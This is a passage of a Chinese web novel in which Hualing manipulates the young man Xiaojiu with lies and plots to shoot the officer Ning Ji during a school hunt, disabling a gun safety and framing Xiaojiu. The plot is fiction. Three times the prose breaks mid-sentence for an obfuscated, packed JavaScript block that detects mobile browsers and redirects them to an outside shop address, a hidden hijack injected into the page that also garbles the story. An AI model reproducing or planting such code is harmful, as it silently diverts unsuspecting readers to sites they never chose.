“相信我,却在我身上放定位器,还要去查验我父亲的遗物,你就是这样相信我的?”他越说越激动,整张脸都涨红了,“如果不相信我,为什么要带我回来?” “有什么我们回去再说。”槐翎快步走过去,她用力拽着小久的手腕,已经有人开始围观了,嗤笑声此起彼伏。 “我不要。”小久想要甩开槐翎的手,却没办法挣脱。 “你还能去哪?”槐翎恶狠狠地在他耳边说,宛如恶鬼。 这话说出来小久自己也愣了一下,槐翎说的没错,如果不回去的话,他还能去哪里呢? 难道要回到E区继续过流浪的生活吗? 这个事实让小久再也没有了抵抗的勇气,他咬紧牙关,知道自己没办法反抗槐翎。 “我真是宠坏你了。”槐翎加重了手上的力度,几乎是拖着小久离开大楼的,她一点也没有留情,小久根本没办法站稳,直到碰到路上的小石子,小久一个踉跄松开了手里的保温盒,保温盒在路面上洒了,饭菜全掉了出来。 小久看着自己的心血全毁了,他张了张嘴,什么话都说不出来。 槐翎看了一眼,虽然上面都是自己爱吃的菜,但都掉在地上了,总不能捡起来,她不以为然地安慰道:“午饭而已,掉了就掉了。” 小久积攒已久的委屈在此刻完全爆发,他的眼眶里不断涌出泪珠,瞬间湿润了整张脸,豆大的泪水打湿了他的衬衫,还有些许落在了槐翎的手背上。 那天奄奄一息的他没有流下一滴眼泪,被其他人指指点点在背后侮辱的时候他更没有流下,而槐翎简单的一句话足够让他的情绪崩溃。 他清楚自己是怀抱着怎样的心情去每栋楼里寻找槐翎,也期待着槐翎看到自己喜欢的饭菜时会露出怎样的笑容,会像过去一样夸奖自己的手艺,然而现实却在告诉他这都是他的一厢情愿。 “你!”槐翎看着突然哭了的小久慌了,她怎么知道就一个饭盒还能搞哭,她手忙脚乱地用袖子去擦眼泪,她的动作一点也不温柔,擦得小久的脸火辣辣地疼,这让他哭得更厉害了。 他俩搞出的动静够大,现在还是午休时间,所有学生都在外面,槐翎头一次知道羞耻这个词代表了什么,她脸一热,用手蒙住小久的脸就把他夹在腋下往车上带。 等好不容易顶着其他人的目光来到车里时,槐翎长叹了口气,她把小久放在副驾驶,她自己也没心情开车,调好了回家的路线后,车子迅速地离开了学院。 槐翎又把面纸擦小久手里,幸好小久也不发出什么声音,他只默默掉着眼泪,然而这眼泪的量好像没有尽头,一路上都没停,槐翎觉得再这样下去他能把车子淹了。 槐翎还是头一次觉得回家的路那么遥远,她硬着头皮伸手去顺小久的背让他不要太难受,又替他擦去手上的泪水,而他只是默默看着窗外独自落泪,两只眼睛都肿起来了,鼻子也通红的,眉毛皱在一起,嘴巴不受控制地抿紧。 看到他这个模样,槐翎也多了几分怜惜。 但她绝对不认为自己做错了。 终于要到公寓了,槐翎深吸口气,再次拽着小久的手腕把他往家里带,这次的小久没有过多的挣扎,他步履蹒跚跟在槐翎身旁,时不时吸吸鼻子。 一回去槐翎就冲进小久的房间,把他往浴室里一塞,没等他反应过来,槐翎就把热水花洒打开,热水浇了他一身,吓得他“哇”的一声叫了出来。 他浑身湿透,校服都粘在身上,能够清楚看到他纤细的身体,摇摇欲坠得像是随时都会破碎。 浇完热水后槐翎又出去找了个浴巾,她像是哄小孩一样把浴巾往小久脸上一糊,她动作又猛又快,小久感觉自己差点就窒息交代在这里了,他紧张地扯开浴巾才得以大口呼吸。 这样一通操作下来,小久确实没哭了。 21. 第 21 章 槐翎这算是第二次进入小久的房间,他的房间很整洁,没有多余的东西,每件衣服都叠得整整齐齐没有一点皱褶,校服也熨烫好了挂在衣柜里。 床铺也是整齐的,好像没什么生活的气息,床头柜子上放着一瓶熏香,味道很淡,但那确实是小久身上的味道。 她拿了一套衣服送进浴室,给予小久足够的时间去冷静下来。 过了几分钟后浴室传来了淅淅沥沥的水声,槐翎后知后觉自己少拿了一件衣服,只好沉下心来再次打开衣柜。 看别人的衣柜其实是一件很私密的事情,尤其当她还要拿一件私密用品的时候。 她快速过了一遍,最后锁定了一个抽屉,她默念了几声抱歉,然后拉开了抽屉——里面每件衣服都叠得刚刚好,还是根据色系排列的。 “……”槐翎属实有些大开眼界,她勾起其中一件,迅速冲向浴室。 浴室的构造能够确保槐翎把这件事做得神不知鬼不觉,她打开门用目光扫了一圈,看到自己放的衣服还放在原位,她蹑手蹑脚地走过去,把缺少的衣物放在两件换洗衣服之间,这样就万无一失了。 槐翎心想自己曾几何时会有这样丢脸的时刻,她的眼睛不受控制地乱飘,这会看到了正背过身洗澡的小久。 他深深地低着头,一只手撑在墙上,任由热水浇灌在自己身上,槐翎看不到他的表情,只看得见他那满是伤痕的背部,水珠顺着他的背流下去,槐翎不得不感叹,这腰确实细。 看也看够了,槐翎赶紧趁小久没发现离开浴室,她又去了趟厨房倒了两杯水,过了几分钟后才回到他的房间。 小久刚洗完出来,他的脸红扑扑的,有些许不自然,头发还在滴着水,浴巾随意地搭在头上,浑身都在散发热气。 槐翎招呼小久背对坐到地毯上,自己则是坐在沙发上,她也不说话,只是拿过毛巾替他擦头发,这次温柔了不少,起码没扯掉小久的头发。 “冷静下来了?”槐翎看着他的眼睛,语气要多温和就有多温和。 小久带着浓重鼻音嗯了一声,他避开了槐翎的目光,侧过脸去用毛巾遮住自己,二人就这么僵坐着。 槐翎无声地叹了口气,她拿掉毛巾,迫使小久看向自己。 “学院那边我帮你请假了,你先喝水润润嗓子。” 小久听话地把一整杯水都喝完了。 槐翎继而俯身把小久圈在自己怀里,她的头发落在小久的耳边,让他感觉耳朵痒痒的,而她另一只手则是放在小久的肩膀上,强势又霸道地让他不得动弹。 她的呼吸缓和悠长,当她的嘴唇凑近小久的耳朵时,他没忍住微微颤抖起来。 “你愿意听我解释吗?” 她身上还残留有烟味,与薄荷味的清香混合在一起。 “你知道的,我树敌不少,为了自保我不得不谨小慎微,我的人生都是这么走过来的……”槐翎细细地斟酌用词,她一边说,一边加大手上的力度。 “我只是…太害怕了,害怕自己身边没有可信任的人。” 说谎。 小久藏在袖子下的手渐渐握成了拳头。 他不是什么蠢货,自然是听得出来里面的谎言,在E区那样的地方,所有人都在说谎,虽然槐翎在尽力掩饰,又努力转移小久的注意力,他还是察觉到了那细枝末节。 “同时,我又很想去了解你,上次那件事是我没有处理好,才会让你伤心了。” 说谎。 小久的脸变得煞白。 “你愿意再给我一次机会吗?我会补偿你的。” 说谎。 连这一句都是谎言。 小久闭紧了眼睛,他不愿再去思考。 如果他听不出来,是不是这样会更好? 槐翎见小久不为所动,她只好伸出另一只手,把她的手放在小久的手上,慢慢地包住他的手,小久的手很冷,刺了槐翎一下。 “午饭的事对不起,我不知道你在到处找我,辛苦你为我做的饭菜,我真的很喜欢。” 这句话倒是没说谎。 小久的表情略有松动,槐翎趁机把自己的手指插进他的指缝,紧紧地扣着他的手,这样暧昧的动作却没能让小久感觉到任何旖旎。 明明在那之前,槐翎从不愿与他有任何肢体接触,这样亲密的举动,是否出自她的真心呢? 想到这里,小久觉得自己的想法变复杂了,他是希望能和槐翎友好相处的,但又害怕这不过是他的妄念。 “我们和好可以吗?” 槐翎极少这样好声好气地说话,她那张漂亮的脸也少有地露出几分紧张,看得小久一阵恍惚。 槐翎也会愿意为了照顾他这种人的心情说谎…… 那既然如此,是真是假,又有什么特别分辨的必要呢。 他突然就觉得好像也没有大不了了,要是再争吵下去,只会让槐翎厌烦吧,比起被槐翎所厌弃,倒不如自己忍一忍好了,反正这样饱受委屈的日子他没少经历过。 他选择相信槐翎所说的话,哪怕那不是真实。 “好吧。”他闷闷地说道。 所有压在他身上的重量也随之不见,那只肆意妄为的手也迅速地抽走了。 小久心里空落落的,但他有自知之明,因此并未追逐离开的槐翎。 * 槐翎仔细地洗了个澡。 手机上显示有个未接来电,她拨了回去。 “小姐,现在情况如何?” “没问题了,击杀宁吉的行动就定在狩猎之中。”槐翎的眼神冰冷锐利,她站在窗边,看着太阳逐渐落下。 “这个行动很危险,皇帝很看重宁少将,您确定吗?” “必要的时候就把他推出去,也不枉我低三下四安抚他。” 另一头的宏叔沉默不语,他想起来十年前的槐翎,曾经泪流满面匍匐在皇帝的脚边,紧紧攥着他的衣角乞求放过自己的家人。 “比起我的复仇,其他人的性命算什么?没有人会在乎一个E区人。” “宏叔,你不也赞同吗?” 宏叔低声称是,“很多事情都在他来了之后改变了。” 那个时候没有人能够帮助到槐翎,他站在远处,看着槐翎眼里的光逐渐暗淡,最后只有燃起来的熊熊烈火,那是充满了仇恨与屈辱的火焰。 “能为我而死也算物尽其用,没有我他早就死在那天夜里了。” 讲完电话,槐翎的眼里一片清明,她捏了捏眉心,一个计划在她的心里形成,而她已经做好了准备。 宁吉一死,学院和皇帝都会追责,作为委员会的会长槐雾会首先接受调查,现场的安保数量很多,他们也会成为人证。 而每把猎枪上面都有编号,子弹也是相应有编码的,只要跟踪弹壳就能找到是谁的枪发射的子弹,所以这样能够快速锁定嫌疑人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201205|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 如果单纯的换编号或者换猎枪,这样就太明显了,大家都知道小久是槐翎的人,如果把责任转给小久也很难平息舆论。 要想全身而退的话,必须要做实小久的身份有疑点,然后二人必须要分开行动,把这捏造成小久的个人行为。 只要泼脏水让他成为皇帝的间谍就可以了,这样还能分裂皇帝和宁家,他想镇压反抗军,槐翎偏不让他如愿,只有这个国家越来越混乱,她才有向上爬的机会。 她必须要取而代之。 这一招虽然险,但如果能成功的话,就是一举多得。 槐翎还有时间去操作,在那之前要尽可能稳住小久,以免节外生枝。 她调整了面部表情,离开自己的房间,现在太阳彻底落下,整个A区都沉浸在黑暗之中。 而站在厨房里的小久沐浴在暖光之中,他平静地开始备菜,好像刚刚什么都没有发生,槐翎看着他的背影,除了她自己没人知道此刻她正在想什么,是在可怜这个被命运的蹂躏的普通人,还是算计着如何使他牺牲的利益最大化,反正从始至终没有人问过小久的意愿。 或许等他踏入竞技场的那一刻,他就亲手将自己的命运交给了女神去掌控,而掌管命运的女神向来是残酷无情的。 她坐在了电脑前,双手开始弹奏名为“牺牲”的间奏。 槐翎会亲自制作一个能够修改编码的程序,这个程序不必有什么特异的功能,只需要能够把那把实施杀人的猎枪转给他人便足够。 那三颗射入宁吉体内的子弹,将由她亲自射出,确保枪枪毙命。 * 中期考试的成绩出来了,大家都收到了相关的邮件,有人欢喜也有人忧愁。 在校内广场的中央,每个年纪的排名也公示出来了。 槐翎站在公告栏前,她身边自动划分了一块空地,无人敢靠近她,排名表的最上面写着她的名字,每一年皆如此,不过和去年不一样的是,这次在她下面的名字换了一个人。 “祝译” 她们两个分数差别不大,然而大家都知道祝译才转进来不过几个月,几个月就有这样的成绩着实不简单。 祝译不声不响地来到槐翎身旁,脸上依旧是甜美的笑容。 “幸好你没答应我的打赌,不然我可麻烦了。” 槐翎斜睨她一眼,没有回应。 “下次,最上面的名字应该就是我了。” 她语气轻飘飘的,说不清是在开玩笑还是认真的。 “那我拭目以待了。”槐翎冷笑,她转身就想离开,祝译却发出了一声惊呼,吸引了其他人的注意力。 “小久他这次排到了第五十名,正正好在榜单的最后一位。” 槐翎离开的步伐没有因此有丝毫停顿,祝译显然注意到了这一点,她依旧挂着笑容,眼里却没有笑意。 那天的事情祝译有和小久聊过,小久只是轻描淡写地带过,没有谈及什么细节,但从他的表情和情绪来看,这恐怕是对二人来说都很重要且不愉快的事情,祝译保持了应有的礼貌,没有追问下去,然而从小久的只字片语里面,祝译还是推理出了些线索。 无论是小久的过去,还是槐翎的行动,还有最近突然出现的宁吉,在这背后似乎正在酝酿什么。 祝译选择再次相信自己直觉,不久之后的狩猎应该能找到谜底了。 在那之前,她必须要尽可能地看到更多。 22. 第 22 章 秋天如期而至,学院的地面也布满了落叶,有些成熟的果实掉在了地上,清洁机器人很快就赶在开学前把地面收拾干净,没有留下太多痕迹。 中期考试才过没多久,狩猎的日子就到了,平日里紧绷的学生们也终于得到了放松的机会,去年的狩猎成果颇丰,连皇帝都对此赞不绝口,因此为了有更多出头的机会,有些学生甚至在闲暇的时间里去聘请教练辅导。 临阵磨枪总归是有些许作用的。 于是在统一前往猎场的时候,总能听到些学生在吹嘘自己的技术,不过因着每年的小组都是随机组队的,能不能拿到第一还不好说。 槐翎是和槐雾一辆车过去的,一路上槐雾身边得女学生没少缠着他叽叽喳喳,不过槐雾心情好,颇为宠溺地回应了女学生的撒娇。 槐翎坐在他的侧后方,正好看了个一清二楚,她这会开始体会到槐雾之前说的话是什么意思了。 在外人看来,槐翎和小久的关系是与槐雾和女学生的关系是一样的。 因此早就习惯这种生活的槐雾对小久的存在一点也不惊讶,槐翎有些坏心眼地想:若是那个依附于人的角色变成槐雾,该是怎样滑稽的场面呢, 车辆外面的安保小队排场不是一般的大,好几辆黑色的车在前方开路,而周围的装甲车则是紧紧地把这辆贵宾车包裹在内,生怕出了点什么意外。 不仅如此,头顶的直升机也一直跟着,可以说是寸步不离了。 槐翎有的时候在想,皇帝是否真的如此宠爱自己这位儿子,还是说有别的打算? 毕竟继承人未立,而皇帝正值壮年,槐翎记得皇帝最大的孩子已经接近三十岁,槐翎小的时候曾经见过,她是一名高大强壮的女性,长相和皇帝有八分相似,因此她颇得宠爱,做事雷厉风行,人望极高。 后来槐翎没见过这位表姐了,她的表亲实在太多,是数也数不清的。 等他们到了猎场,已经有人布置好了他们过夜的营地,安保队伍正在附近巡逻,槐翎分到的小屋就在槐雾的旁边,槐翎拿起自己的行囊,观察了一下小屋。 布置和去年没什么不同,床铺依旧是干爽柔软的,小屋外面还有个大型的建筑,用来用餐和保管武器,至于那些工作人员则是在远处的区域里休息。 所有的猎枪和子弹都需要在每天狩猎结束后上交,清点数量,并统一登记在册。 槐翎只按捺不动,她不急着出手,等到第二天动手或许更合适。 其他学生也陆陆续续到了,原本冷清的猎场变得热闹起来,槐翎在自己的小屋简单休息了一会,等到了集合时间才来到集合点。 在这里他们会公布小组名单,大家都想和相熟的、玩得来的同学分在一起,所以这个仪式是必不可少的。 槐翎站在前面,她面无表情,看着大屏幕上的机子正在随机抽取名字,最后形成了一个名单。 最终她之前植入的插件发挥了作用,在她的名字下面就是小久。 不过出乎意料的是,祝译也和他们在一个组。 现在名单已经公示出去,就算是槐翎也做不了什么,她只好接受这个结果,小久知道自己和槐翎一个小组,肉眼可见心情较好。 分完组后,每个小组都要分开行动了,一般来说在这个时候可以分配角色和设置任务了,不是每个人都擅长打猎,有些人可对猎物进行跟踪,或者是作为助手帮忙带回猎物,再进行瓜分,或者有些人擅长猎小型的动物,有些人则是更有经验去狩猎大型动物。 去年槐翎是以单人行动猎杀了近十匹大型动物的,因此把小组的得分拉得特别高,才有了槐雾之前说的毫无发挥的余地。 槐雾如愿和他的伙伴分了一个小组,他俨然已经成为了学院的小小皇帝,就算没有分组,簇拥他的人也只会多不会少。 分组结束,有人开心有人忧愁。 到了小组会议时间,槐翎沉默地坐在一旁,小久坐在她身旁,因为没有经验,他没有发言的机会,只是好奇地听大家的发言。 祝译本来就对狩猎没兴趣,于是也坐在了槐翎的一边,三个人就这么沉默着坐在角落,在整个小组会议里显得分外怪异。 小组里面有个男性自作主张要了个小组长的头衔,因为忌惮着槐翎,他每说两句话就要看看槐翎的脸色,不过槐翎只喝着气泡水并未发言。 见其他人也渐渐默许了他的小组长行为,他也就大着胆子向每个人都下达了最低收获要求。 其中针对槐翎的任务特别重——甚至比她去年猎到的还要多些。 槐翎在听到他点自己名字后只动了动眼皮,连话都懒得说。 去年她不过是闲的无事到处打打看罢了,今年她有别的猎杀目标,自然是不会把这个任务当一回事。 祝译和小久被下了简单的任务,但看样子这两个人也不打算听从。 真是一场酣畅淋漓的失败啊,槐翎喝完手里的气泡水后就离开了会议,小久跟了上来,他的小屋在后面,离着槐翎的小屋远的很。 “明天你跟着我就行,我教你。”槐翎给了他一个笑容,小久马上就纾解了心里的紧张感,不过槐翎还是出于好奇多问了一句:“你和祝译很熟?” “不是的。”小久再次否定了,不过见槐翎表情未变,他不知道为什么心里有点紧张。 槐翎只担心祝译会不会对计划有影响,天色已晚,她让小久早点回去休息。 小久离开后,槐翎拿出自己制作的干扰器。 猎枪都装有识别配件,如果把枪指向人体的话,它们会让保险保持开启,但是只要加上干扰器,就能取消这一项功能。 她把干扰器放在衣服夹层,只要轻轻一捏就能破坏干扰器,到时候再找个地方销毁就行,干扰器是她自制的,如果随意丢弃很容易查到她身上去。 一切都准备就绪了。 槐翎平躺在柔软的床铺上,她没有困意,心里只有隐隐的激动与兴奋。 * 清晨,学生再次来到营地集合点。 拿到猎枪后就是正式的狩猎了,这些活本来是由工作人员来做的,直到叫到槐翎的名字时,她才看到站在工作人员的祝译。 祝译正忙着帮忙做登记,槐翎在接过枪时,祝译只瞄了她一眼,因为太忙碌,她甚至没和槐翎有任何眼神接触。 槐翎感觉拿着猎枪的手变得沉重了,她开始不断思考祝译在这里会造成怎样的影响,她会记得编码吗?这里有数百人,编码有十五位包括数字与字母,每个号码不连续且乱序,如果不是特意去记,恐怕没有人会记得。 她强行让自己冷静下来,今天的她不会有任何行动,所以不必过于紧张。槐翎这么安慰起自己。 每个小组的狩猎区域都不太一样,这样就不怕出现抢夺目标的情况,槐翎被分到了一辆车,小久自然就在旁边坐着,车上还有其他人,槐翎跟他们只略微打了个招呼,就开着前往猎场的深处。 下车后大家也自顾自地分散行动了。 “要注意猎物的行动去向,大型猎物一般会留下痕迹,只要跟踪它们的粪便、足迹就能推断出大概方向。” “狩猎的难点在于找到猎物,这也是狩猎的乐趣所在。” 槐翎一点一点把经验传授给小久,小久只安静地跟在她后面,他双手抱着猎枪,怕是连拿枪的姿势都没学过。 槐翎前进的脚步放慢了些,她拿出望远镜,在远处,能捕捉到鹿的身影。 小久也跟着拿出望远镜观察,在看到鹿那灵动美丽的身躯时,他不由自主地发出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211144|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感叹。 “试着去猎鹿吧。”槐翎轻声说道,而后悄悄跟了上去,小久紧张地咽了口水,连大气都不敢喘。 他们逐渐靠近鹿所在的区域,在找到合适的位置后,槐翎把猎枪架了起来,用瞄准镜一看就能清晰看到鹿的要害,只要在这个时候扣下扳机就能猎到一头鹿。 不过她打算把这个机会让给小久,小久手忙脚乱地架起猎枪,槐翎沉默不语地帮他把姿势调整好,又告诉他开枪前要做什么。 “你刚才的姿势…只要一开枪了就会把你的肩膀毁了。” “把保险打开,手指放在扳机上。” 槐翎蹲在小久的身旁,在他耳边说着,他们的距离很近,都能听到对方呼吸的声音,还有隐藏在身体深处的心跳声。 “你瞄准的是它的哪里?头部?还是心脏?”她这句话说得轻飘飘,却让小久心里打了退堂鼓。 他能看见鹿矫健的身姿,像个精灵一般在草原上悦动,能看到它们的眼睛里纯真毫无污染,它们警觉地观察四周,秋风吹过枯黄的草,鹿就像是在黄金大地上的硕果,象征这片大地的生命力。 他实在不忍心夺取这样的生命。 看到他放在扳机上的食指微微颤动,槐翎的手指如同毒蛇一般缠了上来,她包着小久的手,自己的食指稍微施加了一些力度,就轻松控制了小久的手。 现在扳机上有两个食指了,小久感觉到槐翎身上冷冽的气息,她冷静、强大,就像神话故事里的女武神。 相比之下,他软弱又胆怯。 “这只是个游戏,是上位者获取乐趣的玩乐,我们因此感受到社会地位所带来的优越性,在血肉交织的原始游戏中体会到生存的快乐,我们的生往往伴随着死亡与痛苦,你想要拒绝这样的规则吗?” 槐翎的话语如同魔咒,每一个字都缠绕在小久的心脏上,让他久久不得呼吸顺畅,他的食指变得僵直,甚至无法弯曲。 她并不希望看到这样的局面,因此她代替了小久,成为了他的执行者。 在寂静之中,一声枪响打破了虚伪的假面。 槐翎松开手,她再次拿出望远镜,透过镜片能看到原本的精灵倒在金色的草原上,它的头部被破坏,鲜红的血液染红了大地,它还在颤动,身体保留有温度,眼睛睁得大大的,却失去了神气。 小久呆愣在原地,他伸出手看着自己洁白干净的手心。 他的确是杀了一个生命,不管那是不是自己开的枪,但瞄准的人是他。 “别愣着,去看看你的战利品。”槐翎漠然地说道,她从工具包里拿出匕首,小久跟在她的身后,只觉得自己双腿发软。 等来到猎物的身边,小久只听到自己的心跳声如擂鼓,连鼓膜都跟着振动。 复杂的心绪让他无法用语言表达,既有剥夺生命的惧怕,也有收获生命的兴奋,他不知道该如何处理这样的心绪,是该觉得高兴,还是悲伤呢? “强大的生命收割弱小的生命,不这样的话就无法生存下去。现在的你感觉如何,是觉得自己残忍,还是觉得自己在成为死神这件事上颇有天赋?” “不是,不是这样的…”小久抬头看向槐翎,他双目无神失去焦点,满脸都是惊慌,他绝对不认同槐翎的观点,但是自己买过的食物,赖以生存的肉类皆是以同样的方式来获得的。 他无论再怎么否定,也无法否认事实。 “你会明白的,你早该明白的。”她意味深长地直视小久的双眼,眼中似有怜悯。 槐翎伸手把匕首插入鹿的皮肤,切下了鹿角。 在这场狩猎中,被杀死的不只有鹿,还有他的最后一丝天真。 小久沉默地接过战利品,上面还带着血,温热的血液流过他的手心,最后落在草原上。 23. 第 23 章 槐翎带着小久猎了好些猎物,有兔子,狐狸等,最瞩目的还是那头鹿。 等他们回到营地时已是傍晚,大家都在营地计算积分。 负责登记的工作人员正一板一眼地计算着,有些人只带回来两只兔子,有些人则是空手而归,有些人猎到了野驴,正在大肆庆祝着。 袖口和裤腿带着血渍的槐翎则像是个死神,她安静地呈上自己的猎物,工作人员一边咬唇计算,一边偷偷看槐翎的脸,她小心翼翼地,只在槐翎的眼里看到的如同野兽的杀气。 她惊了一下,再也没有了看槐翎的勇气。 当天的积分榜首很快就改成了槐翎,对于这样的结果大家也不惊讶。 到了夜晚,厨师把大家猎到的猎物都一一分解,最后再凭借他们高超的技艺把猎物都做成了美味的佳肴。 长桌上大家都言笑晏晏,笑声和碰杯声络绎不绝,槐翎颇为喜欢鹿肉,尤其是当它们被炖煮得松软入味时。 在她旁边的小久却不这么认为,他拿着刀叉,看着眼前热气腾腾的肉类没了食欲,他只好不断喝水压下涌上来的恶心感。 不过今天二人在外面行走已久,不吃点什么是恢复不了体力的,槐翎知道这一点,并未提醒他。 她还记得第一次去打猎,她的父亲也是一点一点教导她如何持枪,如何瞄准,那会的父亲尚未衰老,总是微笑着,引领槐翎前进。 她记得血液在手上流淌的触感,记得狐狸在手里逝去生命的悲伤,还记得自己如何在父亲的鼓励下吃进去那鲜美柔嫩的鹿肉,那都构成了她幸福又美满的童年。 她总是不厌其烦地去问为什么,母亲在旁边咯咯笑,父亲则是耐心地为她讲解,虽然对于年幼的槐翎来说尚是复杂,但槐翎觉得那是她这辈子最美好的时刻。 “浪费并不代表尊重它们。”槐翎咽下最后的鹿肉,她擦了擦嘴巴,感觉身体再次恢复了力量。 对面的祝译刚刚吃完碟子里的兔肉,她倒是非常认同槐翎这句话,不过祝译本人却是什么猎物都没有带回来。 她自称自己是动物爱好者,却没认定自己为素食主义者。 酒足饭饱后,营地的人逐渐减少,也变得安静下来了。 “明天我可以跟你们一起行动吗?没别的意思,我只是想看看你们是怎么打猎的。”祝译摊手,她一脸坦荡,简单直接地说出了自己的想法。 槐翎想也没想就拒绝了,她回到自己的小屋,还没经过同意,祝译和小久就擅自跟过来还就这么在她的小屋里坐了下来。 她脱下沾了血渍的外套,露出了穿着背心的精壮躯体,祝译的眼神不加以任何掩饰,在她的身上来回游走。 “如你所见我的积分还是0,这样下去是要被嫌弃死了。”祝译还是一点也不肯放弃,她死皮赖脸地抓着槐翎的手臂,被槐翎用力地甩开了。 槐翎是绝对不可能让祝译跟来的,但她不能明说,“怎么,你要打扰我们二人世界?”说完,她露出了满是讥讽的笑容。 祝译立马看向小久试图向他取证,小久只举起手来摇头。 “好吧好吧。”祝译叹了口气,“我认输,垫底就垫底吧。” 她也没过多缠着槐翎,说完话就走了。 “你也早点回去休息。”槐翎看了眼小久,刚才他好不容易吃完盘子上的肉,至少体力是不用担心了。 只有充满力量的小久才能让计划进行下去。 小久点点头,他已经累极了,眼睛都红红的,尤其今天还扛着猎枪到处走,如果不是有车在后面减轻负担,恐怕现在连走回去都没力了。 送走小久后,槐翎从口袋里拿出干扰器。 今天她试着用了干扰器,效果显著,枪口在远处对着小久时并未锁定保险。 明天就是宁吉的死期了。 * 清晨,太阳刚刚升起,还有雾气未散,露水在野草上划过。 槐翎早早醒来,她整理好自己的装备,把外套、帽子和手套都一一穿戴好,回忆起宁吉所在的小组和分区。 她深呼吸数次,最后推开小屋的门。 槐翎换了一条路线,小久并无怨言只知在她身后,这一次车辆开了很久,最后开到了树林的外围,看样子是要换一种猎物。 小久紧紧抓着自己的猎枪,他还不知道自己要面对怎样的猎物,尤其是看到槐翎沉默地用望远镜四处搜寻猎物时。 他等了很久,直到槐翎看到了望远镜里的宁吉。 宁吉也拿着一把猎枪,他身边并没有人一起行动,槐翎早就猜到,以他的性格不会有什么同伴跟随,远处的安保人员也只是四处巡逻,不敢干扰学生们的狩猎。 但现在宁吉并未深入树林,他似乎对狩猎没经验,一个人迷茫地游荡。 槐翎放下望远镜,提高了说话的音量。 “这一片似乎没什么猎物,我们换个地方吧。” “那我们要去哪里?”小久懵懂地看着槐翎,刚刚他用望远镜看到了兔子的踪影,不过看样子槐翎是在寻找大型的猎物,自然对兔子没啥兴趣。 “去找野猪,按理说在树林里应该会有的。” 小久刚想说是不是有点危险,等他反应过来又觉得这句话说出来也是浪费时间,槐翎从未在面对猎物时露怯。 “好,我跟你去。” 槐翎再次拿出望远镜,刚才她弄出来的声音足够大,中气十足,只要是个听力正常的人都能听得见。 如她预测的那样,宁吉果真走进了树林,一边走一边侧耳倾听声音,他把猎枪拿在了手上,脸上满是凶狠。 愚蠢啊,当你走进这个树林时,猎人就不再是你了。 槐翎小心翼翼地前进,小久还以为她找到了野猪,大气不敢出跟在她身后,等到槐翎打了个手势让他停下来时,小久才蹲在一棵树下继续等待槐翎的命令。 昨天他就是这样接受教导的,两个人打起配合来效率很高,也节省不少时间。 槐翎用嘴型让小久去另一个方向包抄,小久紧张地点头,然后就猫着腰向指示的方向前进。 她则在小久走远后打开了瞄准镜,在这个角度,她能精确地捕捉到宁吉的身影。 她屏息,耳边响起了父亲的教导。 “面对猎物,要有足够的耐心去等待,也要有一招毙命的魄力,尤其是野猪,要击中它们的心肺,它们是顽强的猎物,如果没有毙命的话,还能在中弹的情况下奔跑数十米。” 你说得对,父亲。 瞄准镜的中央是宁吉的心脏,她解开保险,扣下扳机,一气呵成。 一声突兀的枪响打破了树林的宁静,停留在树上的鸟儿惊叫着离开,与之伴随着的还有人类的吼叫声。 那声音像是哀嚎,又像是怨灵的诅咒。 不远处的小久吓了一跳,他还没看到野猪的踪影,槐翎这就开枪了? 他拿出望远镜在前方观察了一会,这下他终于找到槐翎所说的目标了——一只成年的公野猪,正在虎视眈眈地站在树林的深处,它的嘴角都是白沫,眼睛里散发着截然不同的只属于野兽的凶狠。 但它的身上似乎没有任何伤口,难道是槐翎失手了? 小久不想招惹它,只尽可能不发出任何声音惊动野猪,尤其这还是一只公野猪,他利用树木做遮掩,这个距离很近,如果开枪的话胜算不低。 他还没来得及学习如何打猎野猪,自己却要先面对野猪了。 * 槐翎透过望远镜可以看到宁吉倒下了,她并未完全放心,而是自己逐渐向宁吉靠近。在走了数十米后,在几棵大树的遮掩下,槐翎发现了宁吉。 他并未死透,一个巨大的洞出现在他的身体深处,一双眼睛在看见槐翎后激动地颤动着,槐翎虽然包得只露出一双眼睛,但他依旧能够认得那蔑视他的眼神。此时宁吉的肺部正在汩汩往外流血,想说点什么话却只能听到“赫赫”的声音。 槐翎这才知道自己是打偏了,她来到宁吉身边,再次举起猎枪。 宁吉努力驱动身体,他紧紧抓着手里的猎枪,通红的眼睛死死盯着槐翎,里面只有无尽的恨意。 他身下的血泊面积越来越大了,将要漫延至槐翎的脚边。 槐翎后退了半步,她可不想沾上这个人的血液。 这次她没有使用瞄准镜,大口径的子弹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13220523|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足够破坏一个人的头部,只是没等她扣下扳机,树林的另一处响起了不应该有的枪声。 也就在这枪声的影响下,槐翎没能注意到宁吉的另一只手。 他的手里拿着一把不属于这次狩猎的武器,崭新的、发着肃杀冷光的手枪,枪口直指槐翎。 